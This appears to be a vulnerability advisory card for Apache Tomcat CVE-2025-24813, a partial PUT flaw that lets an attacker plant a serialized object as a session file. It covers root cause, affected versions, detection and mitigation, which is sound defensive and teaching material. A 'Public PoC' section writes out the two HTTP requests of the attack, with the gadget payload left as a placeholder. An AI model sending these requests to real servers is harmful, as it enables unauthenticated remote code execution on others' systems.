Tomcat Partial PUT Session Deserialization

Product: Apache Tomcat
CVE: CVE-2025-24813
Disclosed: 2025-03-10
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: 11.0.0-M1 - 11.0.2, 10.1.0-M1 - 10.1.34, 9.0.0.M1 - 9.0.98
Fixed: 11.0.3, 10.1.35, 9.0.99

Summary

Tomcat stored partial PUT uploads in a temp file whose name was derived from the request path. If the default servlet is writable and file-based session persistence is enabled, an attacker can plant a serialized object as a session file and trigger its deserialization with a crafted JSESSIONID cookie.

Root cause

For PUT requests with Content-Range, Tomcat wrote the partial content to a temporary file in the work directory, replacing '/' with '.' in the path. That location coincides with where PersistentManager/FileStore loads sessions from, so JSESSIONID=.<name> deserializes attacker bytes; a gadget library on the classpath turns this into RCE.

Impact

Unauthenticated RCE (or file disclosure/injection) on Tomcat with non-default writable default servlet, partial PUT and file session persistence.

Public PoC

# 1) Write serialized gadget bytes as a 'partial' upload
PUT /deserialize/session HTTP/1.1
Host: target:8080
Content-Range: bytes 0-5/10

<ysoserial payload>

# 2) Trigger FileStore session load/deserialization
GET / HTTP/1.1
Host: target:8080
Cookie: JSESSIONID=.deserialize

Source: vulhub / tomcat/CVE-2025-24813

Detection

Look for PUT requests with Content-Range headers followed by GETs with unusual JSESSIONID values starting with '.'. nuclei template CVE-2025-24813.

Mitigation

Upgrade to 11.0.3 / 10.1.35 / 9.0.99+; keep the default servlet readonly=true and disable partial PUT (allowPartialPut=false).